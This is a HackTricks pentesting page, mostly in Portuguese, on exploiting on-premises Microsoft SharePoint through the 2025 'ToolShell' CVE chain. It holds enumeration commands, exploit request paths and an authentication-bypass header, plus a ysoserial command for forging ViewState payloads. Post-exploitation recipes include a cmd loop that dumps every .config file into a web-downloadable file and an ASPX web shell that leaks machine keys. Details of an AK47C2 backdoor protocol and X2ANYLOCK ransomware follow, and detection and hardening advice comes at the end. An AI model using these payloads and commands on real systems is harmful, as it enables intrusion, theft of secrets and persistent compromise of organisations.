Microsoft SharePoint – Pentesting & Exploitation
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
Microsoft SharePoint (local) é construído sobre ASP.NET/IIS. A maior parte da superfície de ataque web clássica (ViewState, Web.Config, web shells, etc.) está, portanto, presente, mas o SharePoint também vem com centenas de páginas ASPX proprietárias e serviços web que ampliam dramaticamente a superfície de ataque exposta. Esta página coleta truques práticos para enumerar, explorar e persistir dentro de ambientes SharePoint, com ênfase na cadeia de exploração de 2025 divulgada pela Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 cadeia de exploração (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Injeção de Código em ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> permite que código Server-Side Include arbitrário seja injetado na página, que é posteriormente compilada pelo ASP.NET. Um atacante pode incorporar C# que executa Process.Start() e inserir um ViewState malicioso.
2.2 CVE-2025-49706 – Bypass de Autenticação Impropria
A mesma página confia no cabeçalho X-Forms_BaseUrl para determinar o contexto do site. Ao apontá-lo para /_layouts/15/, a MFA/SSO aplicada no site raiz pode ser contornada sem autenticação.
2.3 CVE-2025-53770 – Desserialização de ViewState Não Autenticada → RCE
Uma vez que o atacante controla um gadget em ToolPane.aspx, ele pode postar um valor __VIEWSTATE não assinado (ou apenas com MAC) que aciona a desserialização .NET dentro do w3wp.exe, levando à execução de código.
Se a assinatura estiver habilitada, roube a ValidationKey/DecryptionKey de qualquer web.config (veja 2.4) e forje o payload com ysoserial.net ou ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Para uma explicação detalhada sobre como abusar do ASP.NET ViewState, leia:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Path Traversal / divulgação do web.config
Enviar um parâmetro Source elaborado para ToolPane.aspx (por exemplo, ../../../../web.config) retorna o arquivo alvo, permitindo a divulgação de:
<machineKey validationKey="…" decryptionKey="…">➜ forjar cookies ViewState / ASPXAUTH- strings de conexão e segredos.
 
3. Receitas de pós-exploração observadas na natureza
3.1 Exfiltrar todos os arquivos .config (variação-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
O debug_dev.js resultante pode ser baixado anonimamente e contém todas as configurações sensíveis.
3.2 Implantar um shell web ASPX codificado em Base64 (variação-2)
powershell.exe -EncodedCommand <base64>
Exemplo de payload decodificado (abreviado):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Escrito para:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
A shell expõe endpoints para ler / girar chaves de máquina que permitem forjar cookies ViewState e ASPXAUTH em toda a fazenda.
3.3 Variante ofuscada (variação-3)
Mesma shell, mas:
- colocada em 
...\15\TEMPLATE\LAYOUTS\ - nomes de variáveis reduzidos a letras únicas
 Thread.Sleep(<ms>)adicionado para evasão de sandbox e bypass de AV baseado em tempo.
3.4 Backdoor multi-protocolo AK47C2 & ransomware X2ANYLOCK (observado 2025-2026)
Investigações recentes de resposta a incidentes (Unit42 “Projeto AK47”) mostram como os atacantes aproveitam a cadeia ToolShell após RCE inicial para implantar um implante C2 de canal duplo e ransomware em ambientes SharePoint:
AK47C2 – variante dnsclient
- Servidor DNS hard-coded: 
10.7.66.10comunicando com o domínio autoritativoupdate.updatemicfosoft.com. - Mensagens são objetos JSON criptografados com XOR usando a chave estática 
VHBD@H, codificados em hex e incorporados como rótulos de subdomínio. 
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Consultas longas são divididas em partes e prefixadas com 
s, depois reassembladas no lado do servidor. - O servidor responde em registros TXT carregando o mesmo esquema XOR/hex:
 
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- A versão 202504 introduziu um formato simplificado 
<COMMAND>::<SESSION_KEY>e marcadores de partes1,2,a. 
AK47C2 – variante httpclient
- Reutiliza o mesmo JSON & rotina XOR, mas envia o blob hex no corpo HTTP POST via 
libcurl(CURLOPT_POSTFIELDS, etc.). - Mesmo fluxo de trabalho de tarefa/resultado permitindo:
 - Execução arbitrária de comandos de shell.
 - Intervalo de sono dinâmico e instruções de kill-switch.
 
Ransomware X2ANYLOCK
- Payload C++ de 64 bits carregado através de side-loading de DLL (veja abaixo).
 - Emprega AES-CBC para dados de arquivo + RSA-2048 para embrulhar a chave AES, depois anexa a extensão 
.x2anylock. - Criptografa recursivamente unidades locais e compartilhamentos SMB descobertos; ignora caminhos do sistema.
 - Lança nota em texto claro 
How to decrypt my data.txtincorporando um Tox ID estático para negociações. - Contém um kill-switch interno:
 
if (file_mod_time >= "2026-06-06") exit(0);
Cadeia de side-loading de DLL
- O atacante escreve 
dllhijacked.dll/My7zdllhijacked.dllao lado de um legítimo7z.exe. - O 
w3wp.exegerado pelo SharePoint inicia7z.exe, que carrega a DLL maliciosa devido à ordem de busca do Windows, invocando o ponto de entrada do ransomware na memória. - Um loader LockBit separado observado (
bbb.msi➜clink_x86.exe➜clink_dll_x86.dll) descriptografa o shell-code e realiza DLL hollowing emd3dl1.dllpara executar LockBit 3.0. 
info
O mesmo Tox ID estático encontrado no X2ANYLOCK aparece em bancos de dados vazados do LockBit, sugerindo sobreposição de afiliados.
4. Ideias de detecção
| Telemetria | Por que é suspeito | 
|---|---|
w3wp.exe → cmd.exe | O processo de trabalho raramente deve gerar shell | 
cmd.exe → powershell.exe -EncodedCommand | Padrão clássico de lolbin | 
Eventos de arquivo criando debug_dev.js ou spinstall0.aspx | IOCs diretamente do ToolShell | 
ProcessCmdLine CONTÉM ToolPane.aspx (logs ETW/Módulo) | PoCs públicas invocam esta página | 
Exemplo de regra XDR / Sysmon (pseudo-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Dureza & Mitigação
- Patch – Atualizações de segurança de julho de 2025 corrigem todos os quatro CVEs.
 - Rotacione todos os segredos de 
<machineKey>eViewStateapós a violação. - Remova a permissão de escrita LAYOUTS dos grupos 
WSS_WPG&WSS_ADMIN_WPG. - Bloqueie o acesso externo a 
/_layouts/15/ToolPane.aspxno nível do proxy/WAF. - Ative ViewStateUserKey, MAC habilitado e EventValidation personalizado.
 
Truques relacionados
- IIS pós-exploração & abuso de web.config:
 
IIS - Internet Information Services
Referências
- Unit42 – Exploração Ativa de Vulnerabilidades do Microsoft SharePoint
 - GitHub PoC – Cadeia de exploração ToolShell
 - Microsoft Security Advisory – CVE-2025-49704 / 49706
 - Unit42 – Projeto AK47 / Exploração do SharePoint & Atividade de Ransomware
 - Microsoft Security Advisory – CVE-2025-53770 / 53771
 
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks